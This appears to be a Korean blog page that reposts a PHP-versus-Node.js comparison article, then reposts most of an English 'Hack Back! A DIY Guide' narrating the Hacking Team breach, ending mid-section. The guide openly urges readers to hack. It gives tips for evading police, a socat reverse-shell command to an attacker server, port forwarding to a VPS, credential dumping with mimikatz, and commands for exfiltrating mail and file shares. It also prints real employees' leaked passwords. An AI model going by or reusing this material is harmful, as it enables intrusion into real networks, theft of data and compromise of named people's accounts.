admin

PHP와 Node.js의 전쟁

 node.js  Comments Off on PHP와 Node.js의 전쟁
Aug 012016
 

퍼온 글

http://www.itworld.co.kr/news/91449

친구였던 PHP와 Node.js, 서로간의 전쟁이 시작되다

Peter Wayner | InfoWorld
각자 다른 길을 걷게 된 오랜 친구 사이의 ‘전쟁’은 할리우드 영화에서 흔히 찾아볼 수 있는 플롯이다. 이때 한 사람이 지금까지 다른 사람의 영역이었던 무언가를 욕심내면서 전쟁이 시작되는 경우가 많다. 프로그래밍 언어 부문에서도 이런 일이 일어나고 있다.

치열한 전쟁은 Node.js의 등장으로 시작됐다. PHP와 자바스크립트(JavaScript)는 한때 파트너로 인터넷 세상을 함께 지배했지만, 지금은 개발자 ‘점유율’을 놓고 서로 치고 받으면서 일전을 벌이고 있다.

과거, 두 언어가 협력한 방식은 간단했다. 자바스크립트는 브라우저의 ‘디테일’을 처리하고, PHP는 포트 80과 MySQL 사이에 존재하는 서버 수준의 작업 일체를 관리했다. 인터넷의 많은 중요 요소들을 계속 지원해온 행복한 ‘연합’이었다.

그러다 누군가 서버에서 자바스크립트를 구현시켰다. PHP를 사용하지 않고도 차세대 서버 스택을 구축할 수 있게 된 것이다. 한 언어만 가지고 클라이언트에서 실행되는 Node.js와 프레임워크들을 구축할 수 있게 됐다. 적어도 일부에게는 “모든 곳에 자바스크립트가 있다”가 마치 ‘주문’처럼 대두됐다.

물론 아직까지는 ‘마지막 장’이 완성되지 않았다. Node.js의 깨끗함과 도처에 위치한 자바스크립트의 편리함을 소리 높여 반기는 사람이 있지만, 동시에 PHP의 오랜 안정성과 깊은 코드 기반에 만족하는 사람들도 있다.

PHP가 서버 부문에서 갑작스레 부상한 신생 강자에게 반격을 가할까? 아니면 자바스크립트가 오랜 친구를 무너뜨리고 세상을 지배할까? 팝콘을 먹으며 영화를 감상하듯 느긋하게 지켜볼 일이다.

PHP의 강점: 코드와 콘텐츠의 혼합
타이핑을 하면서 웹사이트에 생각한 내용을 텍스트로 집어 넣거나, 프로세스에 가지를 더하고, URL의 일부 파라미터에 따라 예쁘게 다듬어 나가고 싶을 수 있다. 또는 데이터베이스에서 가져온 데이터나 텍스트를 통합하고 싶을 수 있다.

PHP에서는 마법과 같은 PHP 태그를 열어, 단 몇 초 만에 코드 개발을 시작할 수 있다. 탬플릿이 필요 없다. 모든 것이 탬플릿이기 때문이다. 추가 파일이 필요 없다. 아키텍처를 발전시킬 필요도 없다. 손가락으로 실현시킬 프로그램 논리만 있으면 된다.

Node.js의 강점: 걱정거리 분리
하지만 코드를 콘텐츠와 섞다 보면 ‘절름발이’가 될 수 있다. 처음 2~3번 정도는 코드를 HTML과 섞는 작업이 재미있을 것이다. 그러나 얼마 지나지 않아, 코드 기반이 ‘헝클어진 논리 덩어리’가 되고 만다.

출중한 프로그래머라면 구조를 추가시키고, 코스메틱 계층을 논리 계층과 분리시킨다. 다른 프로그래머가 훨씬 쉽게 파악, 유지관리 할 수 있기 때문이다. 모델, 뷰, 컨트롤러를 분리하는 것이 낫다는 사실을 알고 있는 프로그래머는 Node.JS를 실행시키는 프레임워크를 구축한다.

PHP의 강점: 깊은 코드 기반
웹은 PHP 코드로 가득하다. (워드프레스, 드루팔, 줌라) 등 대다수 인기 플랫폼들이 웹사이트 구축에 PHP를 사용한다. 오픈소스는 물론 플러그인도 있다. 어디를 가도 PHP 코드를 찾을 수 있다. 즉시 다운로드 받아, 자신의 필요에 맞게 수정해 이용하면 된다.

Node.js의 강점: 현대적 기능
우수한 오픈소스 PHP 파일이 많지만 일부는 8년 묵은 워드프레스 플러그인이다. 몇 년 동안 업데이트가 되지 않은 코드를 만지작거리는데 시간을 투자할 사람이 있을까? Node.js 플러그인은 훨씬 새롭다. 최신 아키텍처 기법이 적용되어 있다. 최신 웹 앱을 이해하는 프로그래머들은 클라이언트에 더 많은 지능을 넣기 위해 이를 이용하게 될 것이다.

평이성: PHP가 우세 (어느 정도)
PHP의 변수와 기본 기능은 소수다. 데이터를 포트 80에서 데이터베이스로 옮기거나, 데이터베이스에서 포트 80으로 다시 옮기는 것을 제외하고는 별다른 큰 일을 하지 않는 얇은 계층이다. 원래 그런 목적에서 개발된 언어이다. 최신 데이터베이스는 마법과도 같은 툴이기 때문에 무거운 작업을 떠넘기는 것 또한 말이 된다. PHP는 아주 복잡하지 않은, 적당하게 복잡한 작업을 처리하는 평이성을 갖고 있다.

클로저 등의 정교성: Node.js의 우세
자바스크립트는 일부에게는 까다로운 소소한 특성들을 많이 갖고 있다. 그러나 현대적인 신텍스와 클로저(Closure) 등 유용한 기능을 자랑하는 현대적인 언어라는 장점이 더 크다. 쉽게 재구성 및 확장해 jQuery 같은 강력한 라이브러리를 구현할 수 있다. 객체로 기능을 배포할 수도 있다. 제약이 적다는 의미다.

PHP의 강점: 클라이언트 앱이 필요 없음
브라우저와 서버에서 같은 언어를 사용한다는 개념은 근사하다. 그러나 브라우저에서 언어를 사용할 필요가 없는 경우는 어떨까? 또 데이터를 HTML 양식으로 내보내야 하는 경우는 어떨까?

20여 개의 웹 서비스 콜로 브라우저에서 페이지를 생성해야 하는 자바스크립트 쓰레드가 제대로 작동하지 않아 초래되는 골칫거리가 없다. 깨끗한 HTML만으로 충분한 경우가 있다. 그리고 PHP는 여기에 최적화 된 언어다. 브라우저에 자바스크립트를 탑재시키느라 애를 쓸 필요가 있을까? 모든 것을 서버에서 구현하면, 스마트폰의 작은 브라우저에 초래되는 부담을 없앨 수 있다.

Node의 강점: HTML이 많은 PHP 콜보다 서비스 콜이 작음
AJAX가 많은 HTML5 웹에는 이동하는 요소가 너무 많을 수 있지만, 이들은 ‘쿨’하고 아주 효율적이다.

브라우저 캐시에 자바스크립트가 코드가 있을 경우, 네트워크에서 이동을 하는 유일한 요소는 새 데이터뿐이다. HTML 마크업이 많지 않다. 전체 페이지를 다운로드 받기 위해 반복을 하지 않는다. 데이터만 바뀔 뿐이다. 멋진 브라우저 기반 웹 앱을 만들 계획을 갖고 있다면, 큰 보상이 있을 것이다.

Node.js는 웹 서비스를 통해 데이터만 전달하게끔 최적화되어 있다. 앱이 복잡하고 데이터가 많다면, 효율적인 전달에 좋은 토대가 될 것이다.

SQL: PHP가 우세
PHP는 MySQL, 그리고 MariaDB 등 많은 변종과 공존하게끔 설계되어 있다. MySQL이 아니라도 오라클과 마이크로소프트의 좋은 SQL 데이터베이스들이 있다. 쿼리에 맞게 조금만 코드를 변경하면 된다. 이게 다가 아니다. 안정적이고, 잘 개발된 코드라면 어떤 SQL 데이터베이스와도 호환이 될 것이다. PHP 프로젝트에 무엇이든 쉽게 통합시킬 수 있다는 의미다. 완벽하지는 않지만, 큰 장점이 있다.

JSON: Node.js의 우세
SQL 액세스가 필요한가? Node.js에는 이를 지원할 라이브러리들이 있다. 여기에 더해 최신 NoSQL 데이터베이스 가운데 상당수를 지원하는 JSON도 지원한다.

PHP 스택에서는 JSON 라이브러리를 쓸 수 없다는 소리는 아니다. 그러나 자바스크립트에서 JSON을 처리하기가 훨씬 용이하다. 브라우저, 웹 서버, 데이터베이스까지 하나의 신텍스를 사용하는 것이다. 콜론과 괄호가 같은 방식으로 사용된다. 이것만으로도 많은 시간을 절약할 수 있다.

코딩 속도: PHP가 우세
PHP를 이용한 웹 앱 개발이 훨씬 빠른 개발자가 더 많다. 컴파일러, 배치, JAR 파일, 전처리기(선행처리기)가 필요 없기 때문이다. 즐겨 쓰는 에디터, 디렉토리의 PHP 파일만 있으면 된다. 물론 구체적인 속도는 천차만별이다. 그러나 속도 면에서는 PHP가 이용하기 좋은 툴이다.

로우 속도: Node.js의 우세
괄호와 소괄호 등의 수를 세면, 자바스크립트 코드 개발이 더 어렵다고 판단할 수 있다. 그러나 완성됐을 경우, Node.js는 날아다닌다. 쓰레드와 씨름할 필요가 없는 콜백 메커니즘이 우수하다. 핵심 요소들이 필요한 것들을 우수하게 처리할 수 있게끔 잘 구축 및 설계되어 있다. 결국 누구나 원하는 것이 아닌가?

*Peter Wayner는 지금까지 16권 이상의 서적을 집필한 인포월드 전문기고가다. ciokr@idg.co.kr

Read more: http://www.itworld.co.kr/news/91449#csidxb37c22aecfb0bf2b0ad1971822b4b72
Copyright © LinkBack

 Posted by at 8:45 PM

세상을 떠들썩하게 했던 해킹팀, 어떻게 해킹됐나?

 정보보호  Comments Off on 세상을 떠들썩하게 했던 해킹팀, 어떻게 해킹됐나?
Apr 272016
 

 

 

                _   _            _      ____             _    _ 
               | | | | __ _  ___| | __ | __ )  __ _  ___| | _| |
               | |_| |/ _` |/ __| |/ / |  _ \ / _` |/ __| |/ / |
               |  _  | (_| | (__|   <  | |_) | (_| | (__|   <|_|
               |_| |_|\__,_|\___|_|\_\ |____/ \__,_|\___|_|\_(_)
                                                 
                                  A DIY Guide



                                 ,-._,-._             
                              _,-\  o O_/;            
                             / ,  `     `|            
                             | \-.,___,  /   `        
                              \ `-.__/  /    ,.\      
                             / `-.__.-\`   ./   \'
                            / /|    ___\ ,/      `\
                           ( ( |.-"`   '/\         \  `
                            \ \/      ,,  |          \ _
                             \|     o/o   /           \.
                              \        , /             /
                              ( __`;-;'__`)            \\
                              `//'`   `||`              `\
                             _//       ||           __   _   _ _____   __
                     .-"-._,(__)     .(__).-""-.      | | | | |_   _| |
                    /          \    /           \     | | |_| | | |   |
                    \          /    \           /     | |  _  | | |   |
                     `'-------`      `--------'`    __| |_| |_| |_|   |__
                               #antisec



--[ 1 - Introduction ]----------------------------------------------------------

You'll notice the change in language since the last edition [1]. The
English-speaking world already has tons of books, talks, guides, and
info about hacking. In that world, there's plenty of hackers better than me,
but they misuse their talents working for "defense" contractors, for intelligence
agencies, to protect banks and corporations, and to defend the status quo.
Hacker culture was born in the US as a counterculture, but that origin only
remains in its aesthetics - the rest has been assimilated. At least they can
wear a t-shirt, dye their hair blue, use their hacker names, and feel like
rebels while they work for the Man.

You used to have to sneak into offices to leak documents [2]. You used to need
a gun to rob a bank. Now you can do both from bed with a laptop in hand [3][4].
Like the CNT said after the Gamma Group hack: "Let's take a step forward with
new forms of struggle" [5]. Hacking is a powerful tool, let's learn and fight!

[1] http://pastebin.com/raw.php?i=cRYvK4jb
[2] https://en.wikipedia.org/wiki/Citizens%27_Commission_to_Investigate_the_FBI
[3] http://www.aljazeera.com/news/2015/09/algerian-hacker-hero-hoodlum-150921083914167.html
[4] https://securelist.com/files/2015/02/Carbanak_APT_eng.pdf 
[5] http://madrid.cnt.es/noticia/consideraciones-sobre-el-ataque-informatico-a-gamma-group


--[ 2 - Hacking Team ]----------------------------------------------------------

Hacking Team was a company that helped governments hack and spy on
journalists, activists, political opposition, and other threats to their power
[1][2][3][4][5][6][7][8][9][10][11]. And, occasionally, on actual criminals
and terrorists [12]. Vincenzetti, the CEO, liked to end his emails with the
fascist slogan "boia chi molla". It'd be more correct to say "boia chi vende
RCS". They also claimed to have technology to solve the "problem" posed by Tor
and the darknet [13]. But seeing as I'm still free, I have my doubts about
its effectiveness.

[1] http://www.animalpolitico.com/2015/07/el-gobierno-de-puebla-uso-el-software-de-hacking-team-para-espionaje-politico/
[2] http://www.prensa.com/politica/claves-entender-Hacking-Team-Panama_0_4251324994.html
[3] http://www.24-horas.mx/ecuador-espio-con-hacking-team-a-opositor-carlos-figueroa/
[4] https://citizenlab.org/2012/10/backdoors-are-forever-hacking-team-and-the-targeting-of-dissent/
[5] https://citizenlab.org/2014/02/hacking-team-targeting-ethiopian-journalists/
[6] https://citizenlab.org/2015/03/hacking-team-reloaded-us-based-ethiopian-journalists-targeted-spyware/
[7] http://focusecuador.net/2015/07/08/hacking-team-rodas-paez-tiban-torres-son-espiados-en-ecuador/
[8] http://www.pri.org/stories/2015-07-08/these-ethiopian-journalists-exile-hacking-team-revelations-are-personal
[9] https://theintercept.com/2015/07/07/leaked-documents-confirm-hacking-team-sells-spyware-repressive-countries/
[10] http://www.wired.com/2013/06/spy-tool-sold-to-governments/
[11] http://www.theregister.co.uk/2015/07/13/hacking_team_vietnam_apt/
[12] http://www.ilmessaggero.it/primopiano/cronaca/yara_bossetti_hacking_team-1588888.html
[13] http://motherboard.vice.com/en_ca/read/hacking-team-founder-hey-fbi-we-can-help-you-crack-the-dark-web


--[ 3 - Stay safe out there ]---------------------------------------------------

Unfortunately, our world is backwards. You get rich by doing bad things and go
to jail for doing good. Fortunately, thanks to the hard work of people like
the Tor project [1], you can avoid going to jail by taking a few simple
precautions:

1) Encrypt your hard disk [2]

   I guess when the police arrive to seize your computer, it means you've
   already made a lot of mistakes, but it's better to be safe.

2) Use a virtual machine with all traffic routed through Tor

   This accomplishes two things. First, all your traffic is anonymized through
   Tor. Second, keeping your personal life and your hacking on separate
   computers helps you not to mix them by accident.

   You can use projects like Whonix [3], Tails [4], Qubes TorVM [5], or
   something custom [6]. Here's [7] a detailed comparison.

3) (Optional) Don't connect directly to Tor
   
   Tor isn't a panacea. They can correlate the times you're connected to Tor
   with the times your hacker handle is active. Also, there have been
   successful attacks against Tor [8]. You can connect to Tor using other
   peoples' wifi. Wifislax [9] is a linux distro with a lot of tools for
   cracking wifi. Another option is to connect to a VPN or a bridge node [10]
   before Tor, but that's less secure because they can still correlate the
   hacker's activity with your house's internet activity (this was used as
   evidence against Jeremy Hammond [11]).

   The reality is that while Tor isn't perfect, it works quite well. When I
   was young and reckless, I did plenty of stuff without any protection (I'm
   referring to hacking) apart from Tor, that the police tried their hardest
   to investigate, and I've never had any problems.

[1] https://www.torproject.org/
[2] https://info.securityinabox.org/es/chapter-4
[3] https://www.whonix.org/
[4] https://tails.boum.org/
[5] https://www.qubes-os.org/doc/privacy/torvm/
[6] https://trac.torproject.org/projects/tor/wiki/doc/TransparentProxy
[7] https://www.whonix.org/wiki/Comparison_with_Others
[8] https://blog.torproject.org/blog/tor-security-advisory-relay-early-traffic-confirmation-attack/
[9] http://www.wifislax.com/
[10] https://www.torproject.org/docs/bridges.html.en
[11] http://www.documentcloud.org/documents/1342115-timeline-correlation-jeremy-hammond-and-anarchaos.html


----[ 3.1 - Infrastructure ]----------------------------------------------------

I don't hack directly from Tor exit nodes. They're on blacklists, they're
slow, and they can't receive connect-backs. Tor protects my anonymity while I
connect to the infrastructure I use to hack, which consists of:

1) Domain Names

   For C&C addresses, and for DNS tunnels for guaranteed egress.

2) Stable Servers

   For use as C&C servers, to receive connect-back shells, to launch attacks,
   and to store the loot.

3) Hacked Servers

   For use as pivots to hide the IP addresses of the stable servers. And for
   when I want a fast connection without pivoting, for example to scan ports,
   scan the whole internet, download a database with sqli, etc.

Obviously, you have to use an anonymous payment method, like bitcoin (if it's
used carefully).


----[ 3.2 - Attribution ]-------------------------------------------------------

In the news we often see attacks traced back to government-backed hacking
groups ("APTs"), because they repeatedly use the same tools, leave the same
footprints, and even use the same infrastructure (domains, emails, etc).
They're negligent because they can hack without legal consequences.

I didn't want to make the police's work any easier by relating my hack of
Hacking Team with other hacks I've done or with names I use in my day-to-day
work as a blackhat hacker. So, I used new servers and domain names, registered
with new emails, and payed for with new bitcoin addresses. Also, I only used
tools that are publicly available, or things that I wrote specifically for
this attack, and I changed my way of doing some things to not leave my usual
forensic footprint.


--[ 4 - Information Gathering ]-------------------------------------------------

Although it can be tedious, this stage is very important, since the larger the
attack surface, the easier it is to find a hole somewhere in it.


----[ 4.1 - Technical Information ]---------------------------------------------

Some tools and techniques are:

1) Google

   A lot of interesting things can be found with a few well-chosen search
   queries. For example, the identity of DPR [1]. The bible of Google hacking
   is the book "Google Hacking for Penetration Testers". You can find a short
   summary in Spanish at [2].

2) Subdomain Enumeration

   Often, a company's main website is hosted by a third party, and you'll find
   the company's actual IP range thanks to subdomains like mx.company.com or
   ns1.company.com. Also, sometimes there are things that shouldn't be exposed
   in "hidden" subdomains. Useful tools for discovering domains and subdomains
   are fierce [3], theHarvester [4], and recon-ng [5].

3) Whois lookups and reverse lookups

   With a reverse lookup using the whois information from a domain or IP range
   of a company, you can find other domains and IP ranges. As far as I know,
   there's no free way to do reverse lookups aside from a google "hack":
   
   "via della moscova 13" site:www.findip-address.com
   "via della moscova 13" site:domaintools.com

4) Port scanning and fingerprinting

   Unlike the other techniques, this talks to the company's servers. I
   include it in this section because it's not an attack, it's just
   information gathering. The company's IDS might generate an alert, but you
   don't have to worry since the whole internet is being scanned constantly.

   For scanning, nmap [6] is precise, and can fingerprint the majority of
   services discovered. For companies with very large IP ranges, zmap [7] or
   masscan [8] are fast. WhatWeb [9] or BlindElephant [10] can fingerprint web
   sites.

[1] http://www.nytimes.com/2015/12/27/business/dealbook/the-unsung-tax-agent-who-put-a-face-on-the-silk-road.html
[2] http://web.archive.org/web/20140610083726/http://www.soulblack.com.ar/repo/papers/hackeando_con_google.pdf
[3] http://ha.ckers.org/fierce/
[4] https://github.com/laramies/theHarvester
[5] https://bitbucket.org/LaNMaSteR53/recon-ng
[6] https://nmap.org/
[7] https://zmap.io/
[8] https://github.com/robertdavidgraham/masscan
[9] http://www.morningstarsecurity.com/research/whatweb
[10] http://blindelephant.sourceforge.net/


----[ 4.2 - Social Information ]------------------------------------------------

For social engineering, it's useful to have information about the employees,
their roles, contact information, operating system, browser, plugins,
software, etc. Some resources are:

1) Google

   Here as well, it's the most useful tool.

2) theHarvester and recon-ng

   I already mentioned them in the previous section, but they have a lot more
   functionality. They can find a lot of information quickly and
   automatically. It's worth reading all their documentation.

3) LinkedIn

   A lot of information about the employees can be found here. The company's
   recruiters are the most likely to accept your connection requests.

4) Data.com

   Previously known as jigsaw. They have contact information for many
   employees.

5) File Metadata

   A lot of information about employees and their systems can be found in
   metadata of files the company has published. Useful tools for finding
   files on the company's website and extracting the metadata are metagoofil
   [1] and FOCA [2].

[1] https://github.com/laramies/metagoofil
[2] https://www.elevenpaths.com/es/labstools/foca-2/index.html


--[ 5 - Entering the network ]--------------------------------------------------

There are various ways to get a foothold. Since the method I used against
Hacking Team is uncommon and a lot more work than is usually necessary, I'll
talk a little about the two most common ways, which I recommend trying first.


----[ 5.1 - Social Engineering ]------------------------------------------------

Social engineering, specifically spear phishing, is responsible for the
majority of hacks these days. For an introduction in Spanish, see [1]. For
more information in English, see [2] (the third part, "Targeted Attacks"). For
fun stories about the social engineering exploits of past generations, see
[3]. I didn't want to try to spear phish Hacking Team, as their whole business
is helping governments spear phish their opponents, so they'd be much more
likely to recognize and investigate a spear phishing attempt.

[1] http://www.hacknbytes.com/2016/01/apt-pentest-con-empire.html
[2] http://blog.cobaltstrike.com/2015/09/30/advanced-threat-tactics-course-and-notes/
[3] http://www.netcomunity.com/lestertheteacher/doc/ingsocial1.pdf


----[ 5.2 - Buying Access ]-----------------------------------------------------

Thanks to hardworking Russians and their exploit kits, traffic sellers, and
bot herders, many companies already have compromised computers in their
networks. Almost all of the Fortune 500, with their huge networks, have some
bots already inside. However, Hacking Team is a very small company, and most
of it's employees are infosec experts, so there was a low chance that they'd
already been compromised.


----[ 5.3 - Technical Exploitation ]--------------------------------------------

After the Gamma Group hack, I described a process for searching for
vulnerabilities [1]. Hacking Team had one public IP range:
inetnum:        93.62.139.32 - 93.62.139.47
descr:          HT public subnet

Hacking Team had very little exposed to the internet. For example, unlike
Gamma Group, their customer support site needed a client certificate to
connect. What they had was their main website (a Joomla blog in which Joomscan
[2] didn't find anything serious), a mail server, a couple routers, two VPN
appliances, and a spam filtering appliance. So, I had three options: look for
a 0day in Joomla, look for a 0day in postfix, or look for a 0day in one of the
embedded devices. A 0day in an embedded device seemed like the easiest option,
and after two weeks of work reverse engineering, I got a remote root exploit.
Since the vulnerabilities still haven't been patched, I won't give more
details, but for more information on finding these kinds of vulnerabilities,
see [3] and [4].

[1] http://pastebin.com/raw.php?i=cRYvK4jb
[2] http://sourceforge.net/projects/joomscan/
[3] http://www.devttys0.com/
[4] https://docs.google.com/presentation/d/1-mtBSka1ktdh8RHxo2Ft0oNNlIp7WmDA2z9zzHpon8A


--[ 6 - Be Prepared ]-----------------------------------------------------------

I did a lot of work and testing before using the exploit against Hacking Team.
I wrote a backdoored firmware, and compiled various post-exploitation tools
for the embedded device. The backdoor serves to protect the exploit. Using the
exploit just once and then returning through the backdoor makes it harder to
identify and patch the vulnerabilities.

The post-exploitation tools that I'd prepared were:

1) busybox

   For all the standard Unix utilities that the system didn't have.

2) nmap

   To scan and fingerprint Hacking Team's internal network.

3) Responder.py

   The most useful tool for attacking windows networks when you have access to
   the internal network, but no domain user.

4) Python

   To execute Responder.py

5) tcpdump

   For sniffing traffic.

6) dsniff

   For sniffing passwords from plaintext protocols like ftp, and for
   arpspoofing. I wanted to use ettercap, written by Hacking Team's own ALoR
   and NaGA, but it was hard to compile it for the system.

7) socat

   For a comfortable shell with a pty:
   my_server: socat file:`tty`,raw,echo=0 tcp-listen:my_port
   hacked box: socat exec:'bash -li',pty,stderr,setsid,sigint,sane \
		  tcp:my_server:my_port

   And useful for a lot more, it's a networking swiss army knife. See the
   examples section of its documentation.

8) screen

   Like the shell with pty, it wasn't really necessary, but I wanted to feel
   at home in Hacking Team's network.

9) a SOCKS proxy server

   To use with proxychains to be able to access their local network from any
   program.

10) tgcd

   For forwarding ports, like for the SOCKS server, through the firewall.

[1] https://www.busybox.net/
[2] https://nmap.org/
[3] https://github.com/SpiderLabs/Responder
[4] https://github.com/bendmorris/static-python
[5] http://www.tcpdump.org/
[6] http://www.monkey.org/~dugsong/dsniff/
[7] http://www.dest-unreach.org/socat/
[8] https://www.gnu.org/software/screen/
[9] http://average-coder.blogspot.com/2011/09/simple-socks5-server-in-c.html
[10] http://tgcd.sourceforge.net/


The worst thing that could happen would be for my backdoor or post-exploitation
tools to make the system unstable and cause an employee to investigate. So I
spent a week testing my exploit, backdoor, and post-exploitation tools in the
networks of other vulnerable companies before entering Hacking Team's network.


--[ 7 - Watch and Listen ]------------------------------------------------------

Now inside their internal network, I wanted to take a look around and think
about my next step. I started Responder.py in analysis mode (-A to listen
without sending poisoned responses), and did a slow scan with nmap.


--[ 8 - NoSQL Databases ]-------------------------------------------------------

NoSQL, or rather NoAuthentication, has been a huge gift to the hacker
community [1]. Just when I was worried that they'd finally patched all of the
authentication bypass bugs in MySQL [2][3][4][5], new databases came into
style that lack authentication by design. Nmap found a few in Hacking Team's
internal network:

27017/tcp open  mongodb       MongoDB 2.6.5
| mongodb-databases:
|   ok = 1
|   totalSizeMb = 47547
|   totalSize = 49856643072
...
|_    version = 2.6.5

27017/tcp open  mongodb       MongoDB 2.6.5
| mongodb-databases:
|   ok = 1
|   totalSizeMb = 31987
|   totalSize = 33540800512
|   databases
...
|_    version = 2.6.5

They were the databases for test instances of RCS. The audio that RCS records
is stored in MongoDB with GridFS. The audio folder in the torrent [6] came
from this. They were spying on themselves without meaning to.

[1] https://www.shodan.io/search?query=product%3Amongodb
[2] https://community.rapid7.com/community/metasploit/blog/2012/06/11/cve-2012-2122-a-tragically-comedic-security-flaw-in-mysql
[3] http://archives.neohapsis.com/archives/vulnwatch/2004-q3/0001.html
[4] http://downloads.securityfocus.com/vulnerabilities/exploits/hoagie_mysql.c
[5] http://archives.neohapsis.com/archives/bugtraq/2000-02/0053.html
[6] https://ht.transparencytoolkit.org/audio/


--[ 9 - Crossed Cables ]--------------------------------------------------------

Although it was fun to listen to recordings and see webcam images of Hacking
Team developing their malware, it wasn't very useful. Their insecure backups
were the vulnerability that opened their doors. According to their
documentation [1], their iSCSI devices were supposed to be on a separate
network, but nmap found a few in their subnetwork 192.168.1.200/24:

Nmap scan report for ht-synology.hackingteam.local (192.168.200.66)
...
3260/tcp open  iscsi?
| iscsi-info:
|   Target: iqn.2000-01.com.synology:ht-synology.name
|     Address: 192.168.200.66:3260,0
|_    Authentication: No authentication required

Nmap scan report for synology-backup.hackingteam.local (192.168.200.72)
...
3260/tcp open  iscsi?
| iscsi-info:
|   Target: iqn.2000-01.com.synology:synology-backup.name
|     Address: 10.0.1.72:3260,0
|     Address: 192.168.200.72:3260,0
|_    Authentication: No authentication required

iSCSI needs a kernel module, and it would've been difficult to compile it for
the embedded system. I forwarded the port so that I could mount it from a VPS:

VPS: tgcd -L -p 3260 -q 42838
Embedded system: tgcd -C -s 192.168.200.72:3260 -c VPS_IP:42838

VPS: iscsiadm -m discovery -t sendtargets -p 127.0.0.1

Now iSCSI finds the name iqn.2000-01.com.synology but has problems mounting it
because it thinks its IP is 192.168.200.72 instead of 127.0.0.1

The way I solved it was:
iptables -t nat -A OUTPUT -d 192.168.200.72 -j DNAT --to-destination 127.0.0.1

And now, after:
iscsiadm -m node --targetname=iqn.2000-01.com.synology:synology-backup.name -p 192.168.200.72 --login

...the device file appears! We mount it:
vmfs-fuse -o ro /dev/sdb1 /mnt/tmp

and find backups of various virtual machines. The Exchange server seemed like
the most interesting. It was too big too download, but it was possible to
mount it remotely to look for interesting files:
$ losetup /dev/loop0 Exchange.hackingteam.com-flat.vmdk
$ fdisk -l /dev/loop0
/dev/loop0p1            2048  1258287103   629142528    7  HPFS/NTFS/exFAT

so the offset is 2048 * 512 = 1048576
$ losetup -o 1048576 /dev/loop1 /dev/loop0
$ mount -o ro /dev/loop1 /mnt/exchange/

now in /mnt/exchange/WindowsImageBackup/EXCHANGE/Backup 2014-10-14 172311
we find the hard disk of the VM, and mount it:
vdfuse -r -t VHD -f f0f78089-d28a-11e2-a92c-005056996a44.vhd /mnt/vhd-disk/
mount -o loop /mnt/vhd-disk/Partition1 /mnt/part1

...and finally we've unpacked the Russian doll and can see all the files from
the old Exchange server in /mnt/part1

[1] https://ht.transparencytoolkit.org/FileServer/FileServer/Hackingteam/InfrastrutturaIT/Rete/infrastruttura%20ht.pdf


--[ 10 - From backups to domain admin ]-----------------------------------------

What interested me most in the backup was seeing if it had a password or hash
that could be used to access the live server. I used pwdump, cachedump, and
lsadump [1] on the registry hives. lsadump found the password to the besadmin
service account:

_SC_BlackBerry MDS Connection Service
0000   16 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................
0010   62 00 65 00 73 00 33 00 32 00 36 00 37 00 38 00    b.e.s.3.2.6.7.8.
0020   21 00 21 00 21 00 00 00 00 00 00 00 00 00 00 00    !.!.!...........

I used proxychains [2] with the socks server on the embedded device and
smbclient [3] to check the password:
proxychains smbclient '//192.168.100.51/c$' -U 'hackingteam.local/besadmin%bes32678!!!'

It worked! The password for besadmin was still valid, and a local admin. I
used my proxy and metasploit's psexec_psh [4] to get a meterpreter session.
Then I migrated to a 64 bit process, ran "load kiwi" [5], "creds_wdigest", and
got a bunch of passwords, including the Domain Admin:

HACKINGTEAM  BESAdmin       bes32678!!!
HACKINGTEAM  Administrator  uu8dd8ndd12!
HACKINGTEAM  c.pozzi        P4ssword      <---- lol great sysadmin
HACKINGTEAM  m.romeo        ioLK/(90
HACKINGTEAM  l.guerra       4luc@=.=
HACKINGTEAM  d.martinez     W4tudul3sp
HACKINGTEAM  g.russo        GCBr0s0705!
HACKINGTEAM  a.scarafile    Cd4432996111
HACKINGTEAM  r.viscardi     Ht2015!
HACKINGTEAM  a.mino         A!e$$andra
HACKINGTEAM  m.bettini      Ettore&Bella0314
HACKINGTEAM  m.luppi        Blackou7
HACKINGTEAM  s.gallucci     1S9i8m4o!
HACKINGTEAM  d.milan        set!dob66
HACKINGTEAM  w.furlan       Blu3.B3rry!
HACKINGTEAM  d.romualdi     Rd13136f@#
HACKINGTEAM  l.invernizzi   L0r3nz0123!
HACKINGTEAM  e.ciceri       2O2571&2E
HACKINGTEAM  e.rabe         erab@4HT!

[1] https://github.com/Neohapsis/creddump7
[2] http://proxychains.sourceforge.net/
[3] https://www.samba.org/
[4] http://ns2.elhacker.net/timofonica/manuales/Manual_de_Metasploit_Unleashed.pdf
[5] https://github.com/gentilkiwi/mimikatz


--[ 11 - Downloading the mail ]-------------------------------------------------

With the Domain Admin password, I have access to the email, the heart of the
company. Since with each step I take there's a chance of being detected, I
start downloading their email before continuing to explore. Powershell makes
it easy [1]. Curiously, I found a bug with Powershell's date handling. After
downloading the emails, it took me another couple weeks to get access to the
source code and everything else, so I returned every now and then to download
the new emails. The server was Italian, with dates in the format
day/month/year. I used:
-ContentFilter {(Received -ge '05/06/2015') -or (Sent -ge '05/06/2015')}

with New-MailboxExportRequest to download the new emails (in this case all
mail since June 5). The problem is it says the date is invalid if you
try a day larger than 12 (I imagine because in the US the month comes first
and you can't have a month above 12). It seems like Microsoft's engineers only
test their software with their own locale.

[1] http://www.stevieg.org/2010/07/using-the-exchange-2010-sp1-mailbox-export-features-for-mass-exports-to-pst/


--[ 12 - Downloading Files ]----------------------------------------------------

Now that I'd gotten Domain Admin, I started to download file shares using my
proxy and the -Tc option of smbclient, for example:

proxychains smbclient '//192.168.1.230/FAE DiskStation' \
    -U 'HACKINGTEAM/Administrator%uu8dd8ndd12!' -Tc FAE_DiskStation.tar '*'

I downloaded the Amministrazione, FAE DiskStation, and FileServer folders in
the torrent like that.


--[ 13 - Introduction to hacking windows domains ]------------------------------

Before continuing with the story of the "weones culiaos" (Hacking Team), I
should give some general knowledge for hacking windows networks.


----[ 13.1 - Lateral Movement ]-------------------------------------------------

I'll give a brief review of the different techniques for spreading withing a
windows network. The techniques for remote execution require the password or
hash of a local admin on the target. By far, the most common way of obtaining
those credentials is using mimikatz [1], especially sekurlsa::logonpasswords
and sekurlsa::msv, on the computers where you already have admin access. The
techniques for "in place" movement also require administrative privileges
(except for runas). The most important tools for privilege escalation are
PowerUp [2], and bypassuac [3].

[1] https://adsecurity.org/?page_id=1821
[2] https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerUp
[3] https://github.com/PowerShellEmpire/Empire/blob/master/data/module_source/privesc/Invoke-BypassUAC.ps1


Remote Movement:

1) psexec

   The tried and true method for lateral movement on windows. You can use
   psexec [1], winexe [2], metasploit's psexec_psh [3], Powershell Empire's
